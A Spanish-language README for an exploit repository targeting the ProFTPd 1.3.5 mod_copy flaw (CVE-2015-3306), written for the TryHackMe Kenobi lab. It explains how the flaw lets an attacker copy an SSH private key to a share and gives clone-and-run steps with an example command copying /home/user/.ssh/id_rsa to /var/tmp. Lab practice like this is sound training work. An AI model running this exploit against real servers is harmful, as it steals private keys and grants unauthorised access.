CVE-2015-3306

Esto contiene un exploit de un solo archivo para la vulnerabilidad mod_copy (CVE-2015-3306) de ProFTPd 1.3.5, especialmente para el laboratorio Kenobi de TryHackMe.

Descripción de la vulnerabilidad

CVE-2015-3306 es una vulnerabilidad encontrada en ProFTPd 1.3.5 debido a una falla en el módulo mod_copy, que es responsable de habilitar las operaciones de copia de archivos FTP. Esta vulnerabilidad permite a un jugador de THM copiar la clave privada SSH a un recurso compartido y montarlo en el sistema local, lo que le permite conectarse al usuario mediante la clave privada SSH.

Uso del exploit

1. sudo apt-get update
2. sudo apt-get install git
3. git clone https://github.com/Z3R0-0x30/CVE-2015-3306.git
4. cd CVE-2015-3306
5. python3 Z3R0_ProFTPexploit.py [target-IP] [SSH private key location] [destination to copy the private key]

Ejemplo

python3 Z3R0_ProFTPexploit.py 10.10.132.123 /home/user/.ssh/id_rsa /var/tmp/id_rsa